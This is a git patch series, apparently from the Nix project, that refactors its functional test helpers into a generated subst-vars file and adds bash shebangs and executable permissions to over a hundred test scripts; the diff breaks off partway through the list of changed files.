--- a/tests/functional/common.sh
+++ b/tests/functional/common.sh
@@ -1,13 +1,15 @@
+# shellcheck shell=bash
+
 set -eu -o pipefail
 
 if [[ -z "${COMMON_SH_SOURCED-}" ]]; then
 
 COMMON_SH_SOURCED=1
 
-dir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")"
+functionalTestsDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")"
 
-source "$dir"/common/vars-and-functions.sh
-source "$dir"/common/init.sh
+source "$functionalTestsDir/common/vars-and-functions.sh"
+source "$functionalTestsDir/common/init.sh"
 
 if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
     startDaemon
diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index 74da126517a..dda1ecd41fa 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -1,3 +1,5 @@
+# shellcheck shell=bash
+
 test -n "$TEST_ROOT"
 # We would delete any daemon socket, so let's stop the daemon first.
 killDaemon
diff --git a/tests/functional/common/subst-vars.sh.in b/tests/functional/common/subst-vars.sh.in
new file mode 100644
index 00000000000..4105e9f35eb
--- /dev/null
+++ b/tests/functional/common/subst-vars.sh.in
@@ -0,0 +1,15 @@
+# NOTE: instances of @variable@ are substituted as defined in /mk/templates.mk
+
+export PATH=@bindir@:$PATH
+export coreutils=@coreutils@
+#lsof=@lsof@
+
+export dot=@dot@
+export SHELL="@bash@"
+export PAGER=cat
+export busybox="@sandbox_shell@"
+
+export version=@PACKAGE_VERSION@
+export system=@system@
+
+export BUILD_SHARED_LIBS=@BUILD_SHARED_LIBS@
diff --git a/tests/functional/common/vars-and-functions.sh.in b/tests/functional/common/vars-and-functions.sh
similarity index 96%
rename from tests/functional/common/vars-and-functions.sh.in
rename to tests/functional/common/vars-and-functions.sh
index cb1f0d56616..ad5b29a943b 100644
--- a/tests/functional/common/vars-and-functions.sh.in
+++ b/tests/functional/common/vars-and-functions.sh
@@ -8,6 +8,12 @@ COMMON_VARS_AND_FUNCTIONS_SH_SOURCED=1
 
 set +x
 
+commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")"
+
+source "$commonDir/subst-vars.sh"
+# Make sure shellcheck knows all these will be defined by the above generated snippet
+: "${PATH?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}"
+
 export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default/tests\/functional//}
 export NIX_STORE_DIR
 if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then
@@ -37,7 +43,6 @@ unset XDG_CONFIG_HOME
 unset XDG_CONFIG_DIRS
 unset XDG_CACHE_HOME
 
-export PATH=@bindir@:$PATH
 if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then
   export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH
 fi
@@ -45,18 +50,6 @@ DAEMON_PATH="$PATH"
 if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
   DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH"
 fi
-coreutils=@coreutils@
-lsof=@lsof@
-
-export dot=@dot@
-export SHELL="@bash@"
-export PAGER=cat
-export busybox="@sandbox_shell@"
-
-export version=@PACKAGE_VERSION@
-export system=@system@
-
-export BUILD_SHARED_LIBS=@BUILD_SHARED_LIBS@
 
 export IMPURE_VAR1=foo
 export IMPURE_VAR2=bar
diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index 18b920f7de3..a94c5712c59 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -153,7 +153,7 @@ $(d)/plugins.sh.test $(d)/plugins.sh.test-debug: \
 install-tests += $(foreach x, $(nix_tests), $(d)/$(x))
 
 test-clean-files := \
-  $(d)/common/vars-and-functions.sh \
+  $(d)/common/subst-vars.sh \
   $(d)/config.nix
 
 clean-files += $(test-clean-files)

From 10f864c5ae953647565d10a233558404116047ec Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 28 May 2024 12:43:04 -0400
Subject: [PATCH 210/528] Ensure all functional scripts are (a) executable (b)
 have shebang

This is good for shebang, and also good for future build system
simplifications
---
 tests/functional/add.sh                                     | 2 ++
 tests/functional/bash-profile.sh                            | 2 ++
 tests/functional/binary-cache-build-remote.sh               | 2 ++
 tests/functional/binary-cache.sh                            | 2 ++
 tests/functional/brotli.sh                                  | 2 ++
 tests/functional/build-delete.sh                            | 2 ++
 tests/functional/build-dry.sh                               | 2 ++
 tests/functional/build-remote-content-addressed-fixed.sh    | 0
 tests/functional/build-remote-content-addressed-floating.sh | 0
 tests/functional/build-remote-input-addressed.sh            | 0
 tests/functional/build-remote-trustless-should-fail-0.sh    | 0
 tests/functional/build-remote-trustless-should-pass-0.sh    | 0
 tests/functional/build-remote-trustless-should-pass-1.sh    | 0
 tests/functional/build-remote-trustless-should-pass-2.sh    | 0
 tests/functional/build-remote-trustless-should-pass-3.sh    | 0
 tests/functional/build-remote-with-mounted-ssh-ng.sh        | 0
 tests/functional/build.sh                                   | 2 ++
 tests/functional/case-hack.sh                               | 2 ++
 tests/functional/check-refs.sh                              | 2 ++
 tests/functional/check-reqs.sh                              | 2 ++
 tests/functional/check.sh                                   | 2 ++
 tests/functional/chroot-store.sh                            | 2 ++
 tests/functional/completions.sh                             | 2 ++
 tests/functional/compression-levels.sh                      | 2 ++
 tests/functional/compute-levels.sh                          | 2 ++
 tests/functional/config.sh                                  | 2 ++
 tests/functional/db-migration.sh                            | 2 ++
 tests/functional/debugger.sh                                | 2 ++
 tests/functional/dependencies.sh                            | 2 ++
 tests/functional/derivation-json.sh                         | 2 ++
 tests/functional/dump-db.sh                                 | 2 ++
 tests/functional/eval-store.sh                              | 2 ++
 tests/functional/eval.sh                                    | 2 ++
 tests/functional/experimental-features.sh                   | 2 ++
 tests/functional/export-graph.sh                            | 2 ++
 tests/functional/export.sh                                  | 2 ++
 tests/functional/extra-sandbox-profile.sh                   | 2 ++
 tests/functional/fetchClosure.sh                            | 2 ++
 tests/functional/fetchGit.sh                                | 2 ++
 tests/functional/fetchGitRefs.sh                            | 2 ++
 tests/functional/fetchGitSubmodules.sh                      | 2 ++
 tests/functional/fetchGitVerification.sh                    | 2 ++
 tests/functional/fetchMercurial.sh                          | 2 ++
 tests/functional/fetchPath.sh                               | 2 ++
 tests/functional/fetchTree-file.sh                          | 2 ++
 tests/functional/fetchurl.sh                                | 2 ++
 tests/functional/filter-source.sh                           | 2 ++
 tests/functional/fixed.sh                                   | 2 ++
 tests/functional/flakes/absolute-attr-paths.sh              | 2 ++
 tests/functional/flakes/absolute-paths.sh                   | 2 ++
 tests/functional/flakes/build-paths.sh                      | 2 ++
 tests/functional/flakes/bundle.sh                           | 2 ++
 tests/functional/flakes/check.sh                            | 2 ++
 tests/functional/flakes/circular.sh                         | 2 ++
 tests/functional/flakes/config.sh                           | 2 ++
 tests/functional/flakes/develop.sh                          | 2 ++
 tests/functional/flakes/flake-in-submodule.sh               | 2 ++
 tests/functional/flakes/flakes.sh                           | 2 ++
 tests/functional/flakes/follow-paths.sh                     | 2 ++
 tests/functional/flakes/init.sh                             | 2 ++
 tests/functional/flakes/inputs.sh                           | 2 ++
 tests/functional/flakes/mercurial.sh                        | 2 ++
 tests/functional/flakes/prefetch.sh                         | 2 ++
 tests/functional/flakes/run.sh                              | 2 ++
 tests/functional/flakes/search-root.sh                      | 2 ++
 tests/functional/flakes/show.sh                             | 2 ++
 tests/functional/flakes/unlocked-override.sh                | 2 ++
 tests/functional/fmt.sh                                     | 2 ++
 tests/functional/function-trace.sh                          | 2 ++
 tests/functional/gc-auto.sh                                 | 2 ++
 tests/functional/gc-concurrent.sh                           | 2 ++
 tests/functional/gc-non-blocking.sh                         | 2 ++
 tests/functional/gc-runtime.sh                              | 2 ++
 tests/functional/gc.sh                                      | 2 ++
 tests/functional/hash-convert.sh                            | 2 ++
 tests/functional/hash-path.sh                               | 2 ++
 tests/functional/help.sh                                    | 2 ++
 tests/functional/import-derivation.sh                       | 2 ++
 tests/functional/impure-derivations.sh                      | 2 ++
 tests/functional/impure-env.sh                              | 2 ++
 tests/functional/impure-eval.sh                             | 2 ++
 tests/functional/lang-test-infra.sh                         | 2 ++
 tests/functional/lang.sh                                    | 2 ++
 tests/functional/legacy-ssh-store.sh                        | 2 ++
 tests/functional/linux-sandbox.sh                           | 2 ++
 tests/functional/logging.sh                                 | 2 ++
 tests/functional/misc.sh                                    | 2 ++
 tests/functional/multiple-outputs.sh                        | 2 ++
 tests/functional/nar-access.sh                              | 2 ++
 tests/functional/nested-sandboxing.sh                       | 2 ++
 tests/functional/nix-build.sh                               | 2 ++
 tests/functional/nix-channel.sh                             | 2 ++
 tests/functional/nix-collect-garbage-d.sh                   | 2 ++
 tests/functional/nix-copy-ssh-ng.sh                         | 2 ++
 tests/functional/nix-copy-ssh.sh                            | 2 ++
 tests/functional/nix-profile.sh                             | 2 ++
 tests/functional/nix-shell.sh                               | 2 ++
 tests/functional/nix_path.sh                                | 2 ++
 tests/functional/optimise-store.sh                          | 2 ++
 tests/functional/output-normalization.sh                    | 2 ++
 tests/functional/pass-as-file.sh                            | 2 ++
 tests/functional/path-from-hash-part.sh                     | 2 ++
 tests/functional/path-info.sh                               | 2 ++
 tests/functional/placeholders.sh                            | 2 ++
 tests/functional/plugins.sh                                 | 2 ++
 tests/functional/post-hook.sh                               | 2 ++
 tests/functional/pure-eval.sh                               | 2 ++
 tests/functional/read-only-store.sh                         | 2 ++
 tests/functional/readfile-context.sh                        | 2 ++
 tests/functional/recursive.sh                               | 2 ++
 tests/functional/referrers.sh                               | 2 ++
 tests/functional/remote-store.sh                            | 2 ++
 tests/functional/repair.sh                                  | 2 ++
 tests/functional/repl.sh                                    | 1 +
 tests/functional/restricted.sh                              | 2 ++
 tests/functional/search.sh                                  | 2 ++
 tests/functional/secure-drv-outputs.sh                      | 2 ++
 tests/functional/selfref-gc.sh                              | 2 ++
 tests/functional/shell.sh                                   | 2 ++
 tests/functional/signing.sh                                 | 2 ++
 tests/functional/simple.sh                                  | 2 ++
 tests/functional/ssh-relay.sh                               | 2 ++
 tests/functional/store-info.sh                              | 2 ++
 tests/functional/structured-attrs.sh                        | 2 ++
 tests/functional/substitute-with-invalid-ca.sh              | 2 ++
 tests/functional/suggestions.sh                             | 2 ++
 tests/functional/supplementary-groups.sh                    | 2 ++
 tests/functional/tarball.sh                                 | 2 ++
 tests/functional/test-infra.sh                              | 2 ++
 tests/functional/test-libstoreconsumer.sh                   | 2 ++
 tests/functional/timeout.sh                                 | 2 ++
 tests/functional/toString-path.sh                           | 2 ++
 tests/functional/user-envs-migration.sh                     | 2 ++
 tests/functional/user-envs.sh                               | 2 ++
 tests/functional/why-depends.sh                             | 2 ++
 tests/functional/zstd.sh                                    | 2 ++
 136 files changed, 253 insertions(+)
 mode change 100644 => 100755 tests/functional/add.sh
 mode change 100644 => 100755 tests/functional/bash-profile.sh
 mode change 100644 => 100755 tests/functional/binary-cache-build-remote.sh
 mode change 100644 => 100755 tests/functional/binary-cache.sh
 mode change 100644 => 100755 tests/functional/brotli.sh
 mode change 100644 => 100755 tests/functional/build-delete.sh
 mode change 100644 => 100755 tests/functional/build-dry.sh
 mode change 100644 => 100755 tests/functional/build-remote-content-addressed-fixed.sh
 mode change 100644 => 100755 tests/functional/build-remote-content-addressed-floating.sh
 mode change 100644 => 100755 tests/functional/build-remote-input-addressed.sh
 mode change 100644 => 100755 tests/functional/build-remote-trustless-should-fail-0.sh
 mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-0.sh
 mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-1.sh
 mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-2.sh
 mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-3.sh
 mode change 100644 => 100755 tests/functional/build-remote-with-mounted-ssh-ng.sh
 mode change 100644 => 100755 tests/functional/build.sh
 mode change 100644 => 100755 tests/functional/case-hack.sh
 mode change 100644 => 100755 tests/functional/check-refs.sh
 mode change 100644 => 100755 tests/functional/check-reqs.sh
 mode change 100644 => 100755 tests/functional/check.sh
 mode change 100644 => 100755 tests/functional/chroot-store.sh
 mode change 100644 => 100755 tests/functional/completions.sh
 mode change 100644 => 100755 tests/functional/compression-levels.sh
 mode change 100644 => 100755 tests/functional/compute-levels.sh
 mode change 100644 => 100755 tests/functional/config.sh
 mode change 100644 => 100755 tests/functional/db-migration.sh
 mode change 100644 => 100755 tests/functional/debugger.sh
 mode change 100644 => 100755 tests/functional/dependencies.sh
 mode change 100644 => 100755 tests/functional/derivation-json.sh
 mode change 100644 => 100755 tests/functional/dump-db.sh
 mode change 100644 => 100755 tests/functional/eval-store.sh
 mode change 100644 => 100755 tests/functional/eval.sh
 mode change 100644 => 100755 tests/functional/experimental-features.sh
 mode change 100644 => 100755 tests/functional/export-graph.sh
 mode change 100644 => 100755 tests/functional/export.sh
 mode change 100644 => 100755 tests/functional/extra-sandbox-profile.sh
 mode change 100644 => 100755 tests/functional/fetchClosure.sh
 mode change 100644 => 100755 tests/functional/fetchGit.sh
 mode change 100644 => 100755 tests/functional/fetchGitRefs.sh
 mode change 100644 => 100755 tests/functional/fetchGitSubmodules.sh
 mode change 100644 => 100755 tests/functional/fetchGitVerification.sh
 mode change 100644 => 100755 tests/functional/fetchMercurial.sh
 mode change 100644 => 100755 tests/functional/fetchPath.sh
 mode change 100644 => 100755 tests/functional/fetchTree-file.sh
 mode change 100644 => 100755 tests/functional/fetchurl.sh
 mode change 100644 => 100755 tests/functional/filter-source.sh
 mode change 100644 => 100755 tests/functional/fixed.sh
 mode change 100644 => 100755 tests/functional/flakes/absolute-attr-paths.sh
 mode change 100644 => 100755 tests/functional/flakes/absolute-paths.sh
 mode change 100644 => 100755 tests/functional/flakes/build-paths.sh
 mode change 100644 => 100755 tests/functional/flakes/bundle.sh
 mode change 100644 => 100755 tests/functional/flakes/check.sh
 mode change 100644 => 100755 tests/functional/flakes/circular.sh
 mode change 100644 => 100755 tests/functional/flakes/config.sh
 mode change 100644 => 100755 tests/functional/flakes/develop.sh
 mode change 100644 => 100755 tests/functional/flakes/flake-in-submodule.sh
 mode change 100644 => 100755 tests/functional/flakes/flakes.sh
 mode change 100644 => 100755 tests/functional/flakes/follow-paths.sh
 mode change 100644 => 100755 tests/functional/flakes/init.sh
 mode change 100644 => 100755 tests/functional/flakes/inputs.sh
 mode change 100644 => 100755 tests/functional/flakes/mercurial.sh
 mode change 100644 => 100755 tests/functional/flakes/prefetch.sh
 mode change 100644 => 100755 tests/functional/flakes/run.sh
 mode change 100644 => 100755 tests/functional/flakes/search-root.sh
 mode change 100644 => 100755 tests/functional/flakes/show.sh
 mode change 100644 => 100755 tests/functional/flakes/unlocked-override.sh
 mode change 100644 => 100755 tests/functional/fmt.sh
 mode change 100644 => 100755 tests/functional/gc-auto.sh
 mode change 100644 => 100755 tests/functional/gc-concurrent.sh
 mode change 100644 => 100755 tests/functional/gc-non-blocking.sh
 mode change 100644 => 100755 tests/functional/gc-runtime.sh
 mode change 100644 => 100755 tests/functional/gc.sh
 mode change 100644 => 100755 tests/functional/hash-convert.sh
 mode change 100644 => 100755 tests/functional/hash-path.sh
 mode change 100644 => 100755 tests/functional/help.sh
 mode change 100644 => 100755 tests/functional/import-derivation.sh
 mode change 100644 => 100755 tests/functional/impure-derivations.sh
 mode change 100644 => 100755 tests/functional/impure-env.sh
 mode change 100644 => 100755 tests/functional/impure-eval.sh
 mode change 100644 => 100755 tests/functional/lang-test-infra.sh
 mode change 100644 => 100755 tests/functional/legacy-ssh-store.sh
 mode change 100644 => 100755 tests/functional/linux-sandbox.sh
 mode change 100644 => 100755 tests/functional/logging.sh
 mode change 100644 => 100755 tests/functional/misc.sh
 mode change 100644 => 100755 tests/functional/multiple-outputs.sh
 mode change 100644 => 100755 tests/functional/nar-access.sh
 mode change 100644 => 100755 tests/functional/nested-sandboxing.sh
 mode change 100644 => 100755 tests/functional/nix-build.sh
 mode change 100644 => 100755 tests/functional/nix-channel.sh
 mode change 100644 => 100755 tests/functional/nix-collect-garbage-d.sh
 mode change 100644 => 100755 tests/functional/nix-copy-ssh-ng.sh
 mode change 100644 => 100755 tests/functional/nix-copy-ssh.sh
 mode change 100644 => 100755 tests/functional/nix-profile.sh
 mode change 100644 => 100755 tests/functional/nix-shell.sh
 mode change 100644 => 100755 tests/functional/nix_path.sh
 mode change 100644 => 100755 tests/functional/optimise-store.sh
 mode change 100644 => 100755 tests/functional/output-normalization.sh
 mode change 100644 => 100755 tests/functional/pass-as-file.sh
 mode change 100644 => 100755 tests/functional/path-from-hash-part.sh
 mode change 100644 => 100755 tests/functional/path-info.sh
 mode change 100644 => 100755 tests/functional/placeholders.sh
 mode change 100644 => 100755 tests/functional/plugins.sh
 mode change 100644 => 100755 tests/functional/post-hook.sh
 mode change 100644 => 100755 tests/functional/pure-eval.sh
 mode change 100644 => 100755 tests/functional/read-only-store.sh
 mode change 100644 => 100755 tests/functional/readfile-context.sh
 mode change 100644 => 100755 tests/functional/recursive.sh
 mode change 100644 => 100755 tests/functional/referrers.sh
 mode change 100644 => 100755 tests/functional/remote-store.sh
 mode change 100644 => 100755 tests/functional/repair.sh
 mode change 100644 => 100755 tests/functional/repl.sh
 mode change 100644 => 100755 tests/functional/restricted.sh
 mode change 100644 => 100755 tests/functional/search.sh
 mode change 100644 => 100755 tests/functional/secure-drv-outputs.sh
 mode change 100644 => 100755 tests/functional/selfref-gc.sh
 mode change 100644 => 100755 tests/functional/shell.sh
 mode change 100644 => 100755 tests/functional/signing.sh
 mode change 100644 => 100755 tests/functional/simple.sh
 mode change 100644 => 100755 tests/functional/ssh-relay.sh
 mode change 100644 => 100755 tests/functional/store-info.sh
 mode change 100644 => 100755 tests/functional/structured-attrs.sh
 mode change 100644 => 100755 tests/functional/substitute-with-invalid-ca.sh
 mode change 100644 => 100755 tests/functional/suggestions.sh
 mode change 100644 => 100755 tests/functional/supplementary-groups.sh
 mode change 100644 => 100755 tests/functional/tarball.sh
 mode change 100644 => 100755 tests/functional/test-infra.sh
 mode change 100644 => 100755 tests/functional/test-libstoreconsumer.sh
 mode change 100644 => 100755 tests/functional/timeout.sh
 mode change 100644 => 100755 tests/functional/toString-path.sh
 mode change 100644 => 100755 tests/functional/user-envs-migration.sh
 mode change 100644 => 100755 tests/functional/user-envs.sh
 mode change 100644 => 100755 tests/functional/why-depends.sh
 mode change 100644 => 100755 tests/functional/zstd.sh

diff --git a/tests/functional/add.sh b/tests/functional/add.sh
old mode 100644
new mode 100755
index a4bb0e225ab..9b448e33b4f
--- a/tests/functional/add.sh
+++ b/tests/functional/add.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 path1=$(nix-store --add ./dummy)
diff --git a/tests/functional/bash-profile.sh b/tests/functional/bash-profile.sh
old mode 100644
new mode 100755
index 3faeaaba1dc..6cfa5bd9cd3
--- a/tests/functional/bash-profile.sh
+++ b/tests/functional/bash-profile.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../../scripts/nix-profile.sh.in > $TEST_ROOT/nix-profile.sh
diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh
old mode 100644
new mode 100755
index 81cd21a4aa8..0303e9410da
--- a/tests/functional/binary-cache-build-remote.sh
+++ b/tests/functional/binary-cache-build-remote.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh
old mode 100644
new mode 100755
index 2a8d5ccdb18..54a3687caed
--- a/tests/functional/binary-cache.sh
+++ b/tests/functional/binary-cache.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 needLocalStore "'--no-require-sigs' can’t be used with the daemon"
diff --git a/tests/functional/brotli.sh b/tests/functional/brotli.sh
old mode 100644
new mode 100755
index dc9bbdb66cb..02a2a08756d
--- a/tests/functional/brotli.sh
+++ b/tests/functional/brotli.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh
old mode 100644
new mode 100755
index 9c56b00e8de..2ef3008f6d7
--- a/tests/functional/build-delete.sh
+++ b/tests/functional/build-delete.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/build-dry.sh b/tests/functional/build-dry.sh
old mode 100644
new mode 100755
index 6d1754af5c2..9336cf745b4
--- a/tests/functional/build-dry.sh
+++ b/tests/functional/build-dry.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 ###################################################
diff --git a/tests/functional/build-remote-content-addressed-fixed.sh b/tests/functional/build-remote-content-addressed-fixed.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-content-addressed-floating.sh b/tests/functional/build-remote-content-addressed-floating.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-input-addressed.sh b/tests/functional/build-remote-input-addressed.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-trustless-should-pass-0.sh b/tests/functional/build-remote-trustless-should-pass-0.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-trustless-should-pass-1.sh b/tests/functional/build-remote-trustless-should-pass-1.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-trustless-should-pass-2.sh b/tests/functional/build-remote-trustless-should-pass-2.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-trustless-should-pass-3.sh b/tests/functional/build-remote-trustless-should-pass-3.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build-remote-with-mounted-ssh-ng.sh b/tests/functional/build-remote-with-mounted-ssh-ng.sh
old mode 100644
new mode 100755
diff --git a/tests/functional/build.sh b/tests/functional/build.sh
old mode 100644
new mode 100755
index 95a20dc6ab6..9fb4357be8d
--- a/tests/functional/build.sh
+++ b/tests/functional/build.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/case-hack.sh b/tests/functional/case-hack.sh
old mode 100644
new mode 100755
index 61bf9b94bf5..fbc8242ff8f
--- a/tests/functional/case-hack.sh
+++ b/tests/functional/case-hack.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh
old mode 100644
new mode 100755
index 3b587d1e56f..2cebdd84dd3
--- a/tests/functional/check-refs.sh
+++ b/tests/functional/check-refs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh
old mode 100644
new mode 100755
index 856c94cec37..2bcd558fd0c
--- a/tests/functional/check-reqs.sh
+++ b/tests/functional/check-reqs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/check.sh b/tests/functional/check.sh
old mode 100644
new mode 100755
index 38883c5d71e..efb93eeb061
--- a/tests/functional/check.sh
+++ b/tests/functional/check.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # XXX: This shouldn’t be, but #4813 cause this test to fail
diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh
old mode 100644
new mode 100755
index 9e589d04b66..60b9c50a7cc
--- a/tests/functional/chroot-store.sh
+++ b/tests/functional/chroot-store.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 echo example > $TEST_ROOT/example.txt
diff --git a/tests/functional/completions.sh b/tests/functional/completions.sh
old mode 100644
new mode 100755
index d3d5bbd48b1..9164c5013c5
--- a/tests/functional/completions.sh
+++ b/tests/functional/completions.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 cd "$TEST_ROOT"
diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh
old mode 100644
new mode 100755
index 85f12974ac7..34f66c531b1
--- a/tests/functional/compression-levels.sh
+++ b/tests/functional/compression-levels.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/compute-levels.sh b/tests/functional/compute-levels.sh
old mode 100644
new mode 100755
index de3da2ebddf..a8bd27610c3
--- a/tests/functional/compute-levels.sh
+++ b/tests/functional/compute-levels.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 if [[ $(uname -ms) = "Linux x86_64" ]]; then
diff --git a/tests/functional/config.sh b/tests/functional/config.sh
old mode 100644
new mode 100755
index efdafa8ca7d..1811b755c96
--- a/tests/functional/config.sh
+++ b/tests/functional/config.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Isolate the home for this test.
diff --git a/tests/functional/db-migration.sh b/tests/functional/db-migration.sh
old mode 100644
new mode 100755
index 44cd16bc09b..a6a5c7744e0
--- a/tests/functional/db-migration.sh
+++ b/tests/functional/db-migration.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test that we can successfully migrate from an older db schema
 
 source common.sh
diff --git a/tests/functional/debugger.sh b/tests/functional/debugger.sh
old mode 100644
new mode 100755
index 63d88cbf35b..47e644bb714
--- a/tests/functional/debugger.sh
+++ b/tests/functional/debugger.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh
old mode 100644
new mode 100755
index b93dacac0b9..5922a1f9856
--- a/tests/functional/dependencies.sh
+++ b/tests/functional/dependencies.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/derivation-json.sh b/tests/functional/derivation-json.sh
old mode 100644
new mode 100755
index b6be5d977da..59c77e6c511
--- a/tests/functional/derivation-json.sh
+++ b/tests/functional/derivation-json.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 drvPath=$(nix-instantiate simple.nix)
diff --git a/tests/functional/dump-db.sh b/tests/functional/dump-db.sh
old mode 100644
new mode 100755
index 48647f40382..2d04602757f
--- a/tests/functional/dump-db.sh
+++ b/tests/functional/dump-db.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 needLocalStore "--dump-db requires a local store"
diff --git a/tests/functional/eval-store.sh b/tests/functional/eval-store.sh
old mode 100644
new mode 100755
index 9937ecbce65..0ab608acca7
--- a/tests/functional/eval-store.sh
+++ b/tests/functional/eval-store.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Using `--eval-store` with the daemon will eventually copy everything
diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh
old mode 100644
new mode 100755
index 502170d14db..acd6e2915d0
--- a/tests/functional/eval.sh
+++ b/tests/functional/eval.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/experimental-features.sh b/tests/functional/experimental-features.sh
old mode 100644
new mode 100755
index 12112b2931d..38f198eee9f
--- a/tests/functional/experimental-features.sh
+++ b/tests/functional/experimental-features.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Skipping these two for now, because we actually *do* want flags and
diff --git a/tests/functional/export-graph.sh b/tests/functional/export-graph.sh
old mode 100644
new mode 100755
index 1f6232a406e..281b5b05bb9
--- a/tests/functional/export-graph.sh
+++ b/tests/functional/export-graph.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/export.sh b/tests/functional/export.sh
old mode 100644
new mode 100755
index 2238539bcca..fce2e333a60
--- a/tests/functional/export.sh
+++ b/tests/functional/export.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/extra-sandbox-profile.sh b/tests/functional/extra-sandbox-profile.sh
old mode 100644
new mode 100755
index ac3ca036f3c..672e5779d21
--- a/tests/functional/extra-sandbox-profile.sh
+++ b/tests/functional/extra-sandbox-profile.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 if [[ $(uname) != Darwin ]]; then skipTest "Need Darwin"; fi
diff --git a/tests/functional/fetchClosure.sh b/tests/functional/fetchClosure.sh
old mode 100644
new mode 100755
index a02d1ce7a28..4026b0790b2
--- a/tests/functional/fetchClosure.sh
+++ b/tests/functional/fetchClosure.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 enableFeatures "fetch-closure"
diff --git a/tests/functional/fetchGit.sh b/tests/functional/fetchGit.sh
old mode 100644
new mode 100755
index 74d6de4e39f..d89d59a811e
--- a/tests/functional/fetchGit.sh
+++ b/tests/functional/fetchGit.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 requireGit
diff --git a/tests/functional/fetchGitRefs.sh b/tests/functional/fetchGitRefs.sh
old mode 100644
new mode 100755
